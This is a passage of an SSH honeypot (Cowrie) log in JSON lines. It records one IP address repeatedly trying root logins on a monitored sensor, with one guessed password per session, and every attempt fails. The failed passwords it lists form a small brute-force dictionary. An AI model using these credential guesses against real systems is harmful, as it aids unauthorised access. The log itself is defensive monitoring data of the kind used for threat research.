98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:28.636600Z","src_ip":"60.165.124.241","session":"9442ebfb65d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lenovo-2008","message":"login attempt [root/lenovo-2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:29.391248Z","src_ip":"60.165.124.241","session":"9442ebfb65d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:30.641179Z","src_ip":"60.165.124.241","session":"9442ebfb65d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35316,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef8792452872","protocol":"ssh","message":"New connection: 60.165.124.241:35316 (10.17.0.5:22) [session: ef8792452872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:30.867648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:30.872166Z","src_ip":"60.165.124.241","session":"ef8792452872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:31.111232Z","src_ip":"60.165.124.241","session":"ef8792452872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.922327280044556,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:31.388604Z","src_ip":"102.96.1.110","session":"3724e6ec3daf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"change-me","message":"login attempt [root/change-me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:31.834985Z","src_ip":"60.165.124.241","session":"ef8792452872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:33.085012Z","src_ip":"60.165.124.241","session":"ef8792452872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38292,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f01f1d0dd74","protocol":"ssh","message":"New connection: 60.165.124.241:38292 (10.17.0.5:22) [session: 1f01f1d0dd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:33.357160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:33.361462Z","src_ip":"60.165.124.241","session":"1f01f1d0dd74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:33.623220Z","src_ip":"60.165.124.241","session":"1f01f1d0dd74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ljm123456","message":"login attempt [root/ljm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:34.393132Z","src_ip":"60.165.124.241","session":"1f01f1d0dd74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:35.650446Z","src_ip":"60.165.124.241","session":"1f01f1d0dd74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41368,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2b05326d32","protocol":"ssh","message":"New connection: 60.165.124.241:41368 (10.17.0.5:22) [session: ce2b05326d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:35.870737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:35.875223Z","src_ip":"60.165.124.241","session":"ce2b05326d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:36.114634Z","src_ip":"60.165.124.241","session":"ce2b05326d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa0.0.00.","message":"login attempt [root/Aa0.0.00.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:36.839195Z","src_ip":"60.165.124.241","session":"ce2b05326d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:38.082264Z","src_ip":"60.165.124.241","session":"ce2b05326d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44340,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a9df45a9443","protocol":"ssh","message":"New connection: 60.165.124.241:44340 (10.17.0.5:22) [session: 6a9df45a9443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:38.350895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:38.359480Z","src_ip":"60.165.124.241","session":"6a9df45a9443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:38.617495Z","src_ip":"60.165.124.241","session":"6a9df45a9443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Black@123","message":"login attempt [root/Black@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:39.390596Z","src_ip":"60.165.124.241","session":"6a9df45a9443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:40.649584Z","src_ip":"60.165.124.241","session":"6a9df45a9443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47674,"dst_ip":"10.17.0.5","dst_port":22,"session":"45917e6df469","protocol":"ssh","message":"New connection: 60.165.124.241:47674 (10.17.0.5:22) [session: 45917e6df469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:40.863353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:40.868273Z","src_ip":"60.165.124.241","session":"45917e6df469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:41.104514Z","src_ip":"60.165.124.241","session":"45917e6df469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubnt1234","message":"login attempt [root/ubnt1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:41.820047Z","src_ip":"60.165.124.241","session":"45917e6df469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:43.061054Z","src_ip":"60.165.124.241","session":"45917e6df469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50658,"dst_ip":"10.17.0.5","dst_port":22,"session":"86a3e6cb577d","protocol":"ssh","message":"New connection: 60.165.124.241:50658 (10.17.0.5:22) [session: 86a3e6cb577d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:43.295813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:43.299720Z","src_ip":"60.165.124.241","session":"86a3e6cb577d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:43.538985Z","src_ip":"60.165.124.241","session":"86a3e6cb577d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ceiec","message":"login attempt [root/ceiec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:44.269182Z","src_ip":"60.165.124.241","session":"86a3e6cb577d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:45.511302Z","src_ip":"60.165.124.241","session":"86a3e6cb577d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53462,"dst_ip":"10.17.0.5","dst_port":22,"session":"a208c69935e1","protocol":"ssh","message":"New connection: 60.165.124.241:53462 (10.17.0.5:22) [session: a208c69935e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:45.749475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:45.756806Z","src_ip":"60.165.124.241","session":"a208c69935e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:45.990246Z","src_ip":"60.165.124.241","session":"a208c69935e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"system$123","message":"login attempt [root/system$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:46.965070Z","src_ip":"60.165.124.241","session":"a208c69935e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:48.219909Z","src_ip":"60.165.124.241","session":"a208c69935e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56740,"dst_ip":"10.17.0.5","dst_port":22,"session":"fff8b0fdecdd","protocol":"ssh","message":"New connection: 60.165.124.241:56740 (10.17.0.5:22) [session: fff8b0fdecdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:48.456676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:48.465260Z","src_ip":"60.165.124.241","session":"fff8b0fdecdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:48.705443Z","src_ip":"60.165.124.241","session":"fff8b0fdecdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!!!","message":"login attempt [root/qwe123!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:49.422307Z","src_ip":"60.165.124.241","session":"fff8b0fdecdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:50.660923Z","src_ip":"60.165.124.241","session":"fff8b0fdecdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59824,"dst_ip":"10.17.0.5","dst_port":22,"session":"545450833eb0","protocol":"ssh","message":"New connection: 60.165.124.241:59824 (10.17.0.5:22) [session: 545450833eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:50.899433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:50.904231Z","src_ip":"60.165.124.241","session":"545450833eb0","protocol":"ssh"}
